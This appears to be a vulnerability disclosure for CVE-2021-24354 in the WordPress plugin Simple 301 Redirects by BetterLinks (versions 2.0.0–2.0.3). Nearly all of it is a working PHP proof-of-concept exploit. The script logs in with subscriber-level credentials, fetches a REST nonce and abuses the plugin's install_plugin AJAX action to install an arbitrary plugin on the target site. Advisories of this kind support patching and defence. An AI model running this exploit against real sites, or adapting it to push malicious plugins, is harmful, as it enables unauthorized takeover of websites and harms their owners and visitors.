Simple 301 Redirects by BetterLinks – 2.0.0 – 2.0.3 – Arbitrary Plugin Installation | CVE 2021-24354

Description

A lack of capability checks and insufficient nonce check on the AJAX action in the plugin, made it possible for authenticated users to install arbitrary plugins on vulnerable sites.

Proof of Concept

<?php

// Settings
$siteurl = $argv[1];
$wp_user = $argv[2];
$wp_pass = $argv[3];

echo 'Logging in!';

// 1) Log in as subscriber+
$ch = curl_init();
$cookiejar = tempnam(sys_get_temp_dir(), 'cookiejar-');
curl_setopt($ch, CURLOPT_URL, $siteurl . '/wp-login.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'log'        => $wp_user,
    'pwd'        => $wp_pass,
    'rememberme' => 'forever',
    'wp-submit'  => 'Log+In',
]);
$output = curl_exec($ch);
curl_close($ch);

echo 'Getting REST API Nonce!';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $siteurl . '/wp-admin/admin-ajax.php?action=rest-nonce');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$content = curl_exec($ch);
curl_close($ch);

//Rest Nonce
preg_match('/([^"]+)/', $content, $matches);
$restnonce = $matches[1];
echo $restnonce;

echo 'Installing Plugin!';
//Installing Plugin
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $siteurl . '/wp-admin/admin-ajax.php' );
curl_setopt( $ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13' );
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
curl_setopt( $ch, CURLOPT_POST, true );
curl_setopt( $ch, CURLOPT_POSTFIELDS, [
    'action' => 'simple301redirects/admin/install_plugin',
    'security' => $restnonce,
    'slug' => 'jetpack',
] );
$output = curl_exec($ch);
curl_close($ch);
print($output)

?>